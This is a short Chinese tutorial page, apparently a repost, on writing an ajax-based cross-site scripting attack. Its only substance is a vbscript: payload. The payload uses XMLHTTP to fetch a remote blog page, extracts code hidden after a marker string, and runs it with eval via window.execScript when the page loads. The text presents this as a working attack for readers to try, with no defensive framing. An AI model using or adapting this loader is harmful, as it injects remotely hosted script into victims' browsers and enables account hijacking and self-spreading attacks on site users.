如何编写ajax实现跨站

这篇文章主要介绍“如何编写ajax实现跨站”,在日常操作中,相信很多人在如何编写ajax实现跨站问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”如何编写ajax实现跨站”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

代码如下:

vbscript:execute(" 
dim l,s: 
l=chr(13)+chr(10): 
s=""sub mycode""&l: 
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l: 
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l: 
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l: 
s=s&""http.open """"get"""",url,false""&l: 
s=s&""http.send("""""""")""&l: 
s=s&""pg=http.responseText""&l: 
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l: 
s=s&""if p=null or p<1 then exit sub""&l: 
s=s&""p=instr(p,pg,chr(37))""&l: 
s=s&""if p=null or p<1 then exit sub""&l: 
s=s&""p2=instr(p,pg,chr(60))""&l: 
s=s&""cd=mid(pg,p,p2-p)""&l: 
s=s&""ht=""""eval(unescape('""""&cd&""""'))""""""&l: 
s=s&""window.execScript ht,""""jscript""""""&l: 
s=s&""end sub""&l: 
execute(s): 
document.body.onload=getref(""mycode""): 
") 

到此,关于“如何编写ajax实现跨站”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!